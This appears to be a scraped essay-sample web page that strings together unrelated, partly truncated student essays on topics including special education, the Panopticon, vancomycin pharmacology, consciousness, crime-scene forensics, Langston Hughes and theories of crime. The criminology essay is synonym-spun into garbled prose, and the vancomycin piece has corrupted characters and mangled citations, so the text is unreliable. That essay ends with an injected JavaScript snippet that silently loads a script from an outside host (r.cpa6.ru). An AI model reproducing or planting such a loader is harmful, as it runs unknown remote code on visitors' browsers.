Special Populations Research Paper Example | Topics and Well Written Essays - 1750 words

Special Populations - Research Paper Example This paper will research special education in the Carroll Independent School District (CISD) of Texas. The boundaries of school districts in Texas do not always align with city or county boundaries, whereby one district may occupy several cities or counties, while some of the larger cities may be divided between several school districts. Although most special education students are disproportionately English language learners, minority and the poor, the CISD indiscriminately serves 11 schools in the upper income area of Dallas, Texas. It is the largest school district to have been rated by the Texas Education Agency (TEA) as exemplary in performance, recording an exceptional zero percent dropout rate and 97 percent attendance in 2007, a rating it holds to date. CISD believes that for majority of its special education students to achieve the same standards as other students, they ought to be given specially designed support, instruction, accommodation and appropriate access as require d by the Individuals with Disabilities Education Act (IDEA). Texas is among the states in America that have worked for a few decades to have all students included in their education systems. The commitment has seeped into both the provision of education serves and approaches employed in evaluating the system’s success in a bid to meet all the students’ needs. CISD believes that students with special needs deserve more than pity or protection from the high expectations associated with non-special students. They should also not be excluded from necessary assessments that indicate whether they are progressing towards the expectations as desired or not. Some of the cases that compelled CISD to address special education include intellectual disabilities; developmental disabilities; specific learning disabilities; language and speech impairments; orthopedic, hearing and visual impairments; autism; and traumatic brain injury. Special education developed following the governme nt’s growing need for involvement in education (Wilmshurst & Brue, 2010). Before the 1975 passing of the Education for All Handicapped Children Act by the federal government, special education programs had to be improved to include additional services as prescribed by the plans mandated federally. They would therefore be able to benefit from IDEA. To this end, after the Act was passed, Texas established several schools that give special care and attention to students with disabilities to help them grow intellectually, socially and emotionally. In CISD, they have schools that are specially designed and equipped to address the needs of students with learning or physical disabilities. The schools develop students’ talents and skills within caring and safe environments. This is in conformity with the provisions of IDEA that stipulate that each special needs student is given an Individualized Education Program (IEP), outlining how the schools will meet their individual need s (NCD, 1994). CISD further embraces the requirement by IDEA that special needs students must be provided with free, appropriate, public education, which should be conducted in the least restrictive environments. Special education is provided in varying degrees in schools run by the government in CISD. The settings range from the least restric

Modern variations of the Panopticon Essay Example | Topics and Well Written Essays - 1250 words

Modern variations of the Panopticon - Essay Example Bentham’s idea is that a panopticon, where the observed internalizes the presence of an unseen observer, enforces those rules via a psychological self-policing on the part of the observed. The panopticon prison, where prisoners are always within view of an observer hidden in a tower that sees all, is a very good representation of Bentham’s ideal panopticon. It is an examination of the ideas on the panopticon as it is applied in some paired relationships, exploring how checks and balances come into play in them, so that the two sides in effect are forced to play according to the rules. In effect, in this dyad relationship, the panopticon becomes a two-way mechanism, with implications that are particular to the parties in the pairing. This paper demonstrates this via a discussion of the Internet as a reciprocal modern panopticon. The internet fosters an arena where the observed follows the rules imposed on them by the law and by the authorities, and where the authorities, in their turn as ordinary users, are likewise compelled to follow the rules, and to make sure that the rules do not go too far in infringing on their personal rights under the law (Foucault 228). This first part of the essay talks about the writer's understanding of Foucault's Panopticon as a disciplinary power mechanism. The heart of the panopticon is the internalization of a power mechanism on the part of the observed, in a system designed in such a way that the observed knows that he is perennially being watched, and where the observer is forever hidden from view from the observed. This can be a paired process with both parties being observer and observed for each other. That is, the panopticon also a situation where two sides play mutual roles at the same time. In this sense it is reciprocal system that enforces the rules of the game via its very mechanism. The means of enforcement is the observed internalizing the rules, and acting in such a way as to enforce the rules, and to make the system self-perpetuating and stable. In a two-way system both have to play the role of the observed, and both internalize the rules (Foucault 228). In other words, the panopticon as a disciplinary power mechanism instills in the both parties the very rules of the game, and makes it in the best interest of both, in a way, to follow the rules without being told. What affects one affects the other in equal measure. The mechanism has within it the power to enforce. The knowledge that one is being watched at all times forces the observed to act in ways that do not violate the rules, or else face the consequences of the violation. It is self-perpetuating and becomes more effective the more it is internalized too. This is because both parties, as the observed, by internalizing the rules and the idea that he is being perpetually watched, go into themselves and look into all areas of their lives: thoughts, behavior - and seek compliance with the rules in all of those dimensions of his life. Both censor each other and are forced to follow the law as the observed, and as the observers enforcing the law (Foucault 226-228). In pairs where observation is reciprocal, the two parties balance each other's

Evaluation of Vancomycin Properties

Evaluation of Vancomycin Properties Vancomycin Abstract Vancomycin is a glycopeptide antibiotic which has been clinically used to treat a large number of species of gram-positive bacteria. Pharmacodynamic dosing of antibiotics has a significant effect on antibiotic performance. But it seems to be little difference in the pharmacodynamics of continuously dosed vancomycin. Many studies show that vancomycin is a concentration-independent killer and that the AUC/MIC is the most practical pharmacodynamic parameter to evaluate effectiveness. Key words (AUC; area under the curve. MIC; minimum inhibitory concentration. MRSA; methcillin-resistant strains). Introduction Vancomycin is a glycopeptide antibiotic which has been clinically used to treat a large number of species of gram-positive bacteria such as Staphylococcus aureus (including methicillin-resistant (MRSA) strains), Staphylococcus epidermidis (including resistant strains), Streptococcus pneumoniae, Streptococcus pyogenes, Streptococcus agalactiae, Strreptococcus bovis, Streptococcus mutans, viridans streptococci, enterococci, Clostridium species, diphtheroids, Listeria monocytogenes, and Lactobacillus species. There has been no increase in resistance to vancomycin during the past three decades. (3) Figure 1. Structural formula of vancomycin. (2) Vancomycin is available as an asymmetric dimer. The dimer conformation makesD-Ala–D-Ala peptides in opposite directions; which then would be attached to different glycopeptide strands.(1) It acts by binding to the D-Ala–D-Ala peptides in which interferes with the cross linking of the chains in the growing peptidoglycan cell wallwhich consequently creates a weak point in the cell wall and makes the bacterial cell susceptible to lysis. (4) Figure 2. (Vancomyocin mode of action) (4) The biosynthesis of vancomycin is via different non-ribosomal protein syntheses (NRPSs).Enzymes play a vital role in determining the amino acid sequence during its assembly. The process of amino acid modification is before vancomycin’s assembly through NRPS process. L-tyrosine is modified to become the ÃŽ ²-hydroxychlorotyrosine (ÃŽ ²-hTyr) and 4-hydroxyphenylglycine (HPG) residues. Subsequently acetate is used to derive the 3, 5 dihydroxyphenylglycine ring (3, 5-DPG).(6) Vancomycin comes in different forms such as capsules (125-250mg), injection (500mg-1g) and powder for reconstitution(500mg, 1g, 5g, 10g). It is poorly absorbed from GI tract, widely distributed with Vd 0.4-1L/kg; CSF levels 7-30% of serum levels with meningeal inflammation; lung tissue 5-41% of serum levels, Þ-distribution phase 30min; ß-elimination half-life 6-12h 90% excreted by glomerular filtration. Vancomycin has some adverse effects such as nephrotoxicity and ototoxicity, for example red man or â€Å"red neck† syndrome, phlebitis, rash, chills and fever.(1) Vancomycin can be given as a dose of 15-20 mg/kg (actual body weight) every (8–12) hours for most patients with normal renal function, however the dose can be increased for serious illnesses to 25-30mg/kg to facilitate greater efficacy.(1) Pharmacokinetic and pharmacodynamic properties of vancomycin There are many studies been carried out to overview vancomycin pharmacokinetic and pharmacodynamic properties in which they found out that serum concentration–time profile of vancomyocin is very complex and has been characterized as one, two and three compartment pharmacokinetic models. Clinical trials showed that those patients who have normal renal function, the distribution phase was ranging from 30 minutes to 1 hour, and the elimination half life was ranging from 6 to 12 hours. The volume of distribution was 0.4–1 L/kg. The penetration of vancomycin into tissues was variable and it can be affected by inflammation and diseases. For example, those patients with un-inflamed meninges the cerebral spinal fluid of vancomycin concentrations were ranging from 0 to 4 mg/L, while concentrations of 6.4–11.1 mg/L were seen in those patients with inflammation.Penetration into skin tissue was lower for patients with diabetes (0.01–0.45 mg/L) compared with non-diabet ic patients which were (0.46–0.94mg/L).Based on these study results vancomyocin is not concentration dependant therefore the dosage should be calculated for different patients using different parameters. Serum vancomycin concentration is the most practical and accurate way to monitor vancomyocin effectiveness, the serum concentration should be obtained right after the first do se to maintain the steady state concentration.(4)(5)(6) However there are a few data suggesting a direct relationship between toxicity and serum vancomycin concentrations. Patients should be identified as having vancomycin-induced nephrotoxicity if serum creatinine concentrations (increase of 0.5 mg/dL or ≠¥50% increase from baseline, whichever is greater) after several days of using vancomycin therapy.(2) In addition available evidence does not support monitoring peak serum vancomycin concentrations to decrease the frequency of nephrotoxicity. Similarly monitoring of serum vancomycin concentrations to reduce nephrotoxicity is best practical for patients receiving aggressive dosing targeted to produce sustained drug concentrations of 15–20 mg/L or for those patients who are receiving concurrent nephrotoxins, is also recommended for patients with unstable renal function and those who are receiving prolonged courses of vancomycin therapy over a few days. (5) More importantly patients who are receiving vancomycin treatment for a long period of time they should have a steady state concentration at least once before the fourth dose. Regular monitoring for a short course treatment and for low intensity dosing (below 15mg/L) is not recommended. However frequent monitoring is recommended to prevent toxicity in patients who are hemodynamically unstable. Summary In general, pharmacodynamic dosing of antibiotics has a significant effect on antibiotic performance. But it seems to be little difference in the pharmacodynamics of continuously dosed vancomycin. These studies show that vancomycin is a concentration-independent killer and that the AUC/MIC is the most practical pharmacodynamic parameter to evaluate effectiveness. There are some clinical situation where obtaining vancomycin concentration might be difficult to determine AUC in these cases trough monitoring of vancomyocin concentration can be used as the most practical way to monitor vancomyoin concentration. High trough serum vancomycin concentrations may increase the risk of toxicity, but more clinical study is required to determine the extent of this potential. References LeviineDP.Vancomycin: a history.Clinical Infect Dis.2008;49(suppl 1):S6–112. LodieseTP, LomaiestroB, GraivesJ, .Larrger vancomycin doses (≠¥4 grams/ day) are associated with an increased incidence of nephrotoxicity.Antimicrob Agents Chemotherapy.2009;51:1432–8. Michael Reybak, Ben Lormaestro, John C. Roitschafer, Robert Moellering Jr., William Craig, Mariane Billieter, Josieph R. DalovisionandDonald P. Leviine. Therapeutic monitoring of vancomycin in adult patients: A consensus review of the American Society of Health-System Pharmacists, the Infectious Diseases Society of America, and the Society of Infectious Diseases Pharmacists, American journal of health system Pharmacy ( AJHP ). MurrayB., NaniniEC. Glycopeptides (vancomycin and teicoplanin), streptogramins (quinupristin-dalfopristin), and lipopeptides (daptomycin). In:MandellGL, BennettJE, DolinR, eds.Mandell, Douglas and Bennett’s principles and practice of infectious diseases.6th ed.Oxford:Churchill Livingstone;2008:487–44. SrakoulasG, GoldHS, CohienRA, .Effects of prolonged vancomycin administration on methicillin-resistantStaphylococcus aureus(MRSA) in a patient with recurrent bacteraemia.J Antimicrob Chemotherapy.2007;57:689–777 WangJT, FangCT, ChenYC, .Necessity of a loading dose when using vancomycin in critically ill patients.J Antimicrob Chemotherapy.2001;417:246. Ako Abdullah

Consciousness Essay -- Biology Essays Research Papers

Consciousness To define such a universally experienced phenomena as consciousness may seem on the most superficial level rather unnecessary. Yet a more scientific, and at times philosophical, investigation into the phenomena demands some sort of confirmed interpretation which supercedes any such common understanding. For our purposes the content of consciousness may be deemed those things of which one is aware and thus can report. Thinking, as well, and the higher-level mechanisms associated there in may also be components of this consciousness. While additionally an individuals' conception that the way in which she experiences the world comes from more than just the neuronal activity of her brain can be understood as a contribution of said consciousness (2). In his Consciousness and Neuroscience, Francis Crick and Christof Koch searched for the "active neuronal processes in [one's] head [which] correlate with consciousness". This well articulated investigation into the 'neuronal correlate of consciousness' (NCC) utilizes the nature of the visual representation to explore what they hypothesize to be a basic common mechanism, or number of mechanisms, which may account for consciousness (1). Crick and Koch introduces the argument that "to be aware of an object or event, the brain has to construct a multilevel, explicit, symbolic interpretation of part of the visual scene". Certainly the neuronal activity resulting from the varied patterns of light falling on one's photoreceptors does not alone explain the extent of visual experiences which one may conceive. Indeed the impression of completeness of any given perception proves largely false. Rather, the vivid scene has been 'made-up' by the brain, constructed out of aware... ...n perceives it. Web Sources 1)Consciousness and Neurosceince http://www.klab.caltech.edu/~koch/crick-koch-cc-97.html 2)Scientific Studies of Consciousness http://www.vanderbilt.edu/AnS/psychology/cogsci/kcave/Psy115A/consciouc.%20html 3)Notes and Suggestions towards A Theory of Consciousness http://www.culture.com.au/brain_proj/hyp-cons.htm 4)An Introduction to the Physiology of Ordinary Consciousness http://www.culture.com.au/brain_proj/physiol.htm 5)Does Consciousness Exist? http://www.culture.com.au/brain_proj/vaidya.htm 6)NEUROSCIENCE http://www.bakery.demon.co.uk/SPECIAL/02_00.html 7)NEUROSCIENCE - Specific Brain Regions http://www.bakery.demon.co.uk/SPECIAL/02_14.html 8)Serendip - Exploring the Consciousness Problem [an error occurred while processing this directive] http://serendip.brynmawr.edu/bb/consciousness/

Ederly Parents Should Live in Nursing Homes or Not? Essay

Vietnam’s population is older and older and it is important for young people, especially politicans, to seriously think about the issue of nursing homes. Should elderly parents live in nursing homes or not? Sending elderly parent into nursing homes is the best choice for them in the rest of their lives for three main reasons. First, elderly parents live in nursing homes will be good for their children. Nowadays, young people are too busy. They have o go to work and have no time to take care of their parents. They leave their parents at home lonely for whole day and feel nervous about their parents. Consequently, they can not concerntrate on their work and nursing homes are a good choice for them to send their parents into. Second, when elderly line in nursing homes, they can make friends with the people at the same age. They will fell very happy because they can chat whole day with their friends, do some helpful excercises such as jogging, tai chi, instead of being lonely at h ome when their children go to work. Third, the most important reason, is that nursing homes can provide elderly parents with modern health care facilities. In nursing homes, professional doctors, nurses and high quality equipments are always available to take care of elderly parents. Doctors here also give them a suitable diet which is good for their health. Opponents of sending elderly parents into nursing homes say that elderly parents will fell lonely when they live far from their children and it is also against Vietnamese moral value. However, as stated previously, nursing homes are the place which provide old people with the best health care. Moreover, their children can come and visit them whenever they want. In conclusion, there are undoubtly many benefits to send elderly parents into nursing homes. Most of old people who live in nursing homes show that they live better and happier with their friend here. Sending elderly parents into nursing homes becomes an important issue for both young people and elderly pare nts themselves to think about.

Crime Scene Scenario Essay

At approximately 1300 on January 31, 2012, there was a call and officers were dispatched to 125 Redbird Lane to investigate a home invasion. Upon arriving on the scene I was met by SGT Johansson to describe the scene as he saw it and the homeowners’ statements. He explained the homeowner, Cindy Pinsk told him she looked out her living room window and saw a gray sedan pull up. She heard the doorbell ring. Since she was not expecting anyone, she did not answer the door. She heard glass breaking and ran out the back door to a neighbor’s house, where she called 9-1-1. She saw broken glass on the carpet in the entry hallway and saw where the door had been pried open with some sort of tool. Pinsk told Johansson her Apple computer, a pair of diamond earrings, a sapphire ring, and three credit cards are missing. He talked to a neighbor, Steve Moyer, who told him he saw a steel gray Dodge Charger in front of Pinsk’s house. A handicap tag was hanging from the rear-view mirror. The driver was a black man with a green knit cap. The passenger was a large white man about 20 – 25 years old. He has a chinstrap beard and was wearing dark clothes. After listening to the first on call officers’ report, I looked around the front yard to see if any evidence was dropped during or after the home invasion. At first inspection of the front yard, you could see what appeared to be footprints in the mud due to the rain the previous night. Pictures with measuring markers were taken to show the position of the questioned impression, and castings (using Class I dental stone) were taken of the shoe impression to later compare to the suspects. Next I went into the house to look around and upon first entering the domain you could see where it appears that a tool of some kind had been used to pry open the door. Pictures with measuring markers were taken to show the position of the tool mark and for comparison. Liquid silicone was utilized to make an impression of the tools used on the door. During taking the impressions, I could see the smallest bit of blue fiber hanging from a piece of wood on the door frame. I removed the fiber tapping the sticky side of a post-it to the fiber. I then folded the post-it, labeled it and placed in an manila envelop for evidence. Walking a little further into the domain, you could see what caused the sound of glass breaking, a vase that appeared to be knocked over during the home invasion. The living room was in disarray with couch cushions taken out of the couch, papers on the floor and drawers pulled out of desk. On the desk was a smudge of a latent partial print that I retrieved sing black powder and sticky tape. As the victim stated in her report to the officers, I went up to the bedroom to discover the missing jewelry from the jewelry box. Once again latent fingerprints were found on the desk where the Apple computer and jewelry were taken, so again prints were taken off the desk with black powder and placed on sticky tape for evidence. After thorough investigation of the house, I exited the domain to head back to the lab. The first test that was done upon reporting back to the lab was an AFIS search for whose fingerprints were at the scene. When ran through AFIS, there was a match to a white male subject matching the description from the neighbors’ statement, John Kratz. John Kratz was brought in wearing a blue hooded sweat shirt, matching the color of the fiber found at the scene, and muddy jeans. Fibers were taken from his sweat shirt for later comparison to the fiber from the Pinsk’s’ house. When questioned on his whereabouts that afternoon. He exclaimed that he was at McDonald’s on his lunch break. Due to his inability to produce a witness to corroborate his story, he was held for further questioning. Next, tool marking were carefully examined and based on the initial examination of the pictures (the size and shape of the impressions) molds and striation marks compared with a comparison microscope determined that the tool that was used in the home invasion was that of a screwdriver. Fibers were then removed from the post-it using rubber tweezers and placed on a comparison microscope for a microscopic comparison for color and diameter to the fiber from the scene and that of John Kratz. Examination found the fiber to be cotton, a natural fiber and matching the fiber to John Kratz. When questioned again on his whereabouts that afternoon, with the help of the evidence that was already found, he finally broke and explained what happened and who was involved. Rick â€Å"Rukus† Thompson was allegedly with John Kratz was brought in for questioning. During the questioning Rick denied ever being at the Pinsk’s house saying he was at home sick. Along with John, Rick also had no one to corroborate his story. Shoe impressions were taken from both suspects and compared to those found at the scene. The shoe impression was that of Rick. With all evidence putting both at the Pinsk’s house, John Kratz and Rick â€Å"Rukus† Thompson both were charged.

Theme for English B by Langston Hughes †Literature Essay

Theme for English B by Langston Hughes – Literature Essay Free Online Research Papers â€Å"Theme for English B† by Langston Hughes Literature Essay In Langston Hughes poem â€Å"Theme for English B,† the literary elements like plot, character, setting, tone, point of view, symbols, and themes weight heavy throughout this poem. The plot seems to take on a very structured, by providing detailed background information. The plot is clearly connected to the setting as Hughes states â€Å"I am twenty-two, colored, born in Winston-Salem. I went to school there, then Durham, then here to this college on the hill above Harlem.† It sets an indicator of the time period and growth. The setting begins as the student is instructed to â€Å"go home and write†, â€Å"Then, it will be true.† The setting seems to give indication, of a young college student experiencing the world through a colored man’s eyes. The setting takes you to a time before or during desegregation. As the writer begins to explore his thoughts his self-assessment sets the tone throughout the poem. The tone indicates his feelings toward growing up colored in a white world. The author attitude towards truth seems to start from the very beginning of the poem. In which, you begin to see the character take form. The main character can be considered a round or protagonist character. Because of all of his accomplishment it appears that he is very well educated and knowledgeable. As the protagonist begins to discuss his point of view on society can be argued. The argument of â€Å"That’s American† can be misunderstood. Due to during that time period colored were not considered American, but Africans. During giving his point of view the protagonist begins to show that the symbols and themes are closely related to the task at hand. The protagonist seems to be hinting at the fact that are skin may be different, â€Å"yet a part of me, as I am a part of you. That’s American. Which â€Å"that’s American† symbols that it doesn’t matter what color you are America is a country of multi-colored people. It seems as the protagonist moves throughout the story the interior monologue is clear. At the beginning of the poem the protagonist gives you the feeling that he is somewhat of arrogant. Throughout the poem the protagonist seems to develop into a more stock character. The climax of the poem seems to draw all elements such as the plot, character, setting, tone, point of view, symbols, and themes, to make a even flow read. The protagonist opens your eyes to the views of racism, social status, and political equality in America. The realization of these views sets the tone, symbols, and themes. The protagonist questions the instructor from the very beginning. With the statement â€Å"I wonder if it’s that simple?†, because being young, colored, and educated was not easy. The tone, symbols, and themes give you such understanding and clarity of what this protagonist young life experience of being true to oneself is evident. Work Cited Hughes, Langston. â€Å"Theme for English B.† Sixth Edition Literature An Introduction To Reading and Writing. Roberts. Edgar V, Henry Jacobs E. New Jersey: Prentice Hall 2001. 822-823 Research Papers on â€Å"Theme for English B† by Langston Hughes - Literature EssayMind TravelThe Masque of the Red Death Room meaningsStandardized TestingHonest Iagos Truth through DeceptionWhere Wild and West MeetHarry Potter and the Deathly Hallows EssayBook Review on The Autobiography of Malcolm XHip-Hop is ArtTrailblazing by Eric Anderson19 Century Society: A Deeply Divided Era

Dreams4 essays

Dreams4 essays Thesis: We dream thousands of dreams every night, but why and what do they mean? In my report I want to tell you about dreams. Dreams are a communication of body, mind and spirit in a symbolic communicative environment (www.sleeps.com). To make that statement easier to understand dreams are a review influenced by factors in your life and spirit (www.sleeps.com). Our brains are constantly active. It is always in different states like sleeping, awake, drowsy, alert, excited, bored, concentrating, or daydreaming (www.sleeps.com). Sigmund Freud believed dreams are keys to the most secret parts of the mind (Coren 24). Dreams always occur while we are in a type of sleep called REM (Rapid Eye Movement) (www.geocities.com). All the things you dream about are a reflection of you life. They reflect your feelings, thoughts, desires, and your fears. Interest in dreams are dated way back even to the time of the Greeks. The people of the ancient world tended to believe that some dreams were sent by the gods to convey information to mortals (Holroyd 44). They discovered that a dream is not nonsense but information in disguise (Holroyd 46). The Epic of Gilgamesh was one of the first known writings of dreams. Written four thousand years ago, about the experiences of Gilgamesh. For example, Gilgamesh dreams that he is pinned to the ground by the weight of a god who has fallen on him. At another point in the story he and his companion Enkinu climb to the top of a mountain that immediately collapses. These same kinds of images and situation are dreamed by people of todays time (Holroyd 46). The Greek people even thought certain things in your dreams had certain symbolism. They thought that snakes showed a sign of sickness or the presence of a enemy, and if it was a powerful snake it meant a bad illness was coming (Holroyd 56 ). Dreaming of birds was also a sign from the...

Basing Theories Of Crime On The Individual

Features Of Offenders Is Like Blaming Sick People For Their Diseases Essay, Research PaperMany theories have been developed which address the issue of whether people are born felons in footings of their physical, familial, or psychological profile, Or whether as sociologists would reason felons are made by the environment and fortunes which they encounter during their life.There have been theories put frontward to propose that a individuals physical features can find how he/she behaves. The earliest theories were in the 18th century, Lavater survey on countenance this suggests that you can state individuals character by their facial features. Some of these happening still exist in modern twenty-four hours biass / old married womans tales i.e. he s got devious eyes. Or his eyes are excessively close togetherSubsequently the survey of phrenology besides looked at the development of people s caputs. Gall, did an extended survey of the encephalon and how the encephalon worked. He develop ed the theory that the balls on the skull were where in some people certain countries of the encephalon were disproportional and this caused the balls. His survey identified 26 maps of the encephalon and those relevant to criminology were destructiveness, closeness, acquisitiveness and militance.Lombroso an Italian physician, while analyzing the skull of a felon had the idea that the nature of criminology ballad in reversion ( an evolutionary atavist. )He felt the physical features such as tremendous jaw, high zygomatic bones, and stick outing ears supported his theory as these features were found in felons, barbarians and apes. Lombroso subsequently developed this theory further and produced a list of physical features found in felons.The list included physical characteristics such as ; dissymmetry of the face, abnormality in the eyes, ears. Nose, lips, dentitions or mentum, supernumary mammillas, fingers and toes, and inordinate arm length.Lombroso so tested his theory on a figure of convicted felons and found that 21 % had one anomalousness and 43 % had five or more this he suggested showed that felons were born felons. He did other trial with soldiers and felons and once more the felons had more anomalousnesss.Lombroso published his theories in his book The Criminal Man. He subsequently developed his theories further by including the insane felon, the epileptic felon and the occasional felon who could be influenced by environmental factors.These early theories were non decently evaluated or objectively compared to wider groups in society but these theories formed the footing for future theories in criminology.Others were critical of Lombroso and one of these was an English physician Charles Goring. He went on to make his ain research as a manner of disputing Lombroso s theories. Goring ain research found that felons were shorter and lighter than others were and he hence suggested they were of lower intelligence. There was unfavorable judgment of Goring wor k as in his avidity to confute Lombroso he may hold overlooked fact, which could hold proved Lombroso s theory.Again this was a wider survey and looked at more factors but it failed to be nonsubjective as it set out to confute a theory instead than measure and look for alternate accounts.Hooton so tested Goring s theory and researched a big figure of captives with a much smaller figure of non-criminals. He selected people for the research based on their physical features. He found that some characteristic were found more normally in felons than in others these were ; low brows, inclining shoulders, thin lips and tattoos.He besides went on to propose that certain physical types committed different types of offenses. Those smaller in character he said would steal while those with stockier physique would perpetrate more violent offenses. Hooton besides believed that felons with unusual physical features were besides likely to be mentally inferior.It would be of import to compare a wide r non-offending group with similar features. By merely comparing one group or a limited assorted group you are more likely to corroborate your initial ideas. The impact of societies response to these physical differences would besides necessitate to be considered in footings of its impact on the felon.In 1921 Kretschmer, a Psychiatrist looked a organic structure types and mental unwellness he identified three organic structure types and suggested that different types of condemnable behavior was associated with the organic structure shapes. Sheldon developed the theory of organic structure types and linked organic structure forms to personalities. These organic structure types are still used to depict organic structure forms and personalities today. These are:1 ) Endomorph this describes people whose organic structures are soft unit of ammunition figures that are relaxed and extravert personalities.2 ) Mesomorphs have more athletic physiques and are more aggressive in their personali ty.3 ) Ectomorph are physically thin and frail and are more introspective in their personality.Sheldon carried out research affecting two 100 delinquents and two 100 pupils who had no known record of delinquency. Through this work he found that there were more mesomorphs in the delinquent group than in the pupil group.The Gluecks did a further survey taking into history more factors including societal factors and the kid rise uping techniques and the type of subject, which the groups received as kids. From this survey the Gluecks they discovered that 60 % of the delinquents were mesomorph types where merely 31 % of the non-delinquent group were mesomorphs.However the Gluecks took their sample of delinquents from establishments and there is no history taken of institutionalisation on piquing behavior. Or how body types can impact parent s reactions/ adhering to their kids.R / gt ; Cortezs and Gatti besides conducted research into organic structure types but they used a broad choice of delinquent and non-delinquents and they besides found a higher figure of mesomorphs in the delinquent groups.Physical type theory may be accurate in placing groups of organic structure forms and the links with types of personalities but this can non account for condemnable activity entirely or all people with this organic structure type would act in the same manner so at that place must other things which affect the felons behaviour.Environmental factors can besides impact organic structure types people who are hapless may non be able to afford a balanced diet and this can impact growing. Lack of fondness can besides do kids to be little. Small kids may besides be the mark of strong-arming which can subsequently impact their assurance or do them to contend back.Taking organic structure types entirely is non an nonsubjective manner of measuring condemnable behavior but combined wi th other theories it may give a greater cognition about wrongdoers.Developments in recognizing chromosome abnormalcies have besides allowed other theories to develop. Persons sex is decide by whether they have X-chromosomes or Y-chromosomes Females have xx chromosomes and males have xy chromosomes. If the cell divide abnormally a individual may hold three chromosomes. Some people with xxy chromosomes were found to be intellectually subnormal. Work force with excess Y-chromosomes were besides found to be over represented in the prison population and they were thought to be more aggressive.Again this theory is limited to analyzing a group of males already in establishments and non compared to people in the community with similar chromosome abnormalcy. If an excess Y chromosome leads to more aggressive behavior does it besides affect work forces in other ways physical expressions and could people be reacting to this. Could this group of work forces be being penalised more often by the tribunals that other groups.Whether felons are born or made continues to be discussed and research into genetic sciences has helped this treatment. A survey by Lange looked art 30 work forces, 13 were indistinguishable twins and 17 were fraternal twins. All 30 work forces had been in prison when Lange looked at the work forces brothers he found 77 % of the indistinguishable brother had besides been in prison but merely 12 % of the fraternal brother had been in prison. He besides looked at a group of 200 braces of brothers ( non twins ) and found that 8 % of work forces whose brothers had been in prison another brother had besides been in prison. Lange felt this proved that piquing behavior was familial. Newman did a similar survey and found a higher per centum of similar condemnable offending in indistinguishable and fraternal twins.It is hard to turn out familial factors as twins will see the same environment during their up delivery. Even more so that other brothers where fortunes within the place could hold changed between one kid being born and the following. Society besides treats twins otherwise and expects them to be the same and have the same likes and disfavors this could besides impact how they see other people.Other surveies have looked a condemnable behavior in people who were adopted Crowe studied 52 people who had been adopted where it was known that the natural female parent had strong beliefs. He besides studied 52 other people who where the same sex, race and age at the clip of acceptance. Eight of the 52 from condemnable female parents had been arrested compared to merely two in the other group.Surveies of adoptees in other states have produced similar findings and the piquing rate is even higher if the natural parent have condemnable records and the adoptive male parent has a condemnable record.This could demo that criminalism is familial but other factors would hold to be considered. At what age was the kid adopted? What had the kid s envir onment and attention been like prior to the acceptance. Had they had contact with their natural parents or were they placed for acceptance at birth? Where they adopted by relations or people with no contact with their natural parents?All of these things can impact the findings. If the kid had lived with the natural parents they may hold witnessed piquing behavior. The kid may hold been placed for acceptance because the kid could hold been neglected or received hapless attention and non loved. This could so impact the kid in ulterior life. If the kid is adopted by a comparative that relation could besides be piquing or state the kid could happen out about hoe the household experience about his natural parents.Adopted kids can experience a sense of separation from their natural parent and this can impact their behavior. Adoptive parents may fear the kid will hold its parent s condemnable inclinations and someway convey this to the kid.Other influences on condemnable theory have been t hey development of psychotherapeutics from Freud to clinical psychologists in the 1960 s who placed a batch of importance on the affects of a kid injury and how this affected them when they were grownups. Social work and work with people who are mentally sick have besides provided other theories, which have influenced developments in criminology.Decision.The argument about whether felons are born or made will go on. The history of criminology will assist to supply the footing for farther research. Future developments in genetic sciences will give farther findings to enable this work to go on. But people are affected by the universe around them and their experience impact how they respond to other people. Although people have physical, familial or psychological features non all go on to perpetrate offenses. We still need to see what are the factors, which make some people respond otherwise. We know that poorness, rearing manner and community influences can all impact individuals beha viour, so it would be hard to impute any one theory as a cause for condemnable behavior. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Week 1 CYB Assignment Example | Topics and Well Written Essays - 500 words

Week 1 CYB - Assignment Example They challenged the assumption that every potential buyer who walks in the showroom is genuinely interested in buying a car and photographed motion sensors and cameras in the building. They then used a rogue wireless access point and carried out social engineering to gain access to sensitive information on customers. This means that security at the organisation was highly compromised because, apart from the customer information, the collection of the expensive, luxury vehicles was also easily accessible to potential thieves, and the Tiger Team actually made away with one. The security at the organisation is not yet perfect, and ways in which it could be defeated include the ability of intruders to gain physical access into the premises unless the building’s design is improved. Then, since the Tiger Team was able to install a rogue camera that filmed the alarm keypad without being noticed, it means the organisation does not carry out regular inspections of its installed devices. It is often assumed that computer systems can best be protected by practicing cyber hygiene. However, this assumption can be challenged because most devices’ default settings are configured by the manufacturers to facilitate their ease of use at the expense of security. The result is usually vulnerabilities that do not require experienced hackers to exploit. Essentially, this means that any user of a system, and not necessarily a hacker, is a potential threat to its security. The Internet has grown into a concept that relies on an interwoven system of trust for its security. However, guest users of a system may stumble upon administrator accounts which grant them higher degrees of control of other computers’ settings and programs (Pelgrin, 2013). Approaching such a situation from a red teamer’s perspective, it is easy to see that a user can

A Successful Entrepreneurial Leadership Term Paper

A Successful Entrepreneurial Leadership - Term Paper Example A transactional leader always works and succeeds in an organization which only exists as it is without any conscious effort to change itself. Thus the transactional leaders focus more on the present issues and are more responsive in nature rather than being more proactive in managing the overall affairs of the organization. In such an organization, transformational leaders are least likely to be successful. (James C. Sarros & Santora, 2001) Transformational leaders, however, are more proactive and innovative in nature and therefore focus on developing solutions for the problems while at the same time taking the organizations in new directions. (Tarabishy). Transformation leaders, therefore, can succeed in those organizations which are ready to make a turnaround. Organizations which have reached their maturity stage or experiencing slow growth may be more suitable for the transformational leaders. Further, learning organizations can also be most suitable for transformational leaders b ecause they create opportunities for their followers to learn and innovate. Transactional leaders, therefore, may not be able to completely successful in learning organizations. Authentic leaders can be successful in organizations which are risk-taking and new in nature and therefore focus on making their way fearlessly. An authentic leader always ready to face anything and take unconditional responsibility, therefore, the organizations which are looking to make their way up will find authentic leaders as most suitable persons to lead the organization and make it one of the dominating forces in the industry. Transactional leaders, however, may not be successful in such organizations. Tools One of the most important tools offered through Small Business Administration as well as the Score is the information about how to secure capital for the startup of the business. Since most startup businesses fail to obtain seed capital to start their business, therefore, it is really critical tha t they must have access to the required funding.  

Content Writing Essay Example | Topics and Well Written Essays - 17000 words

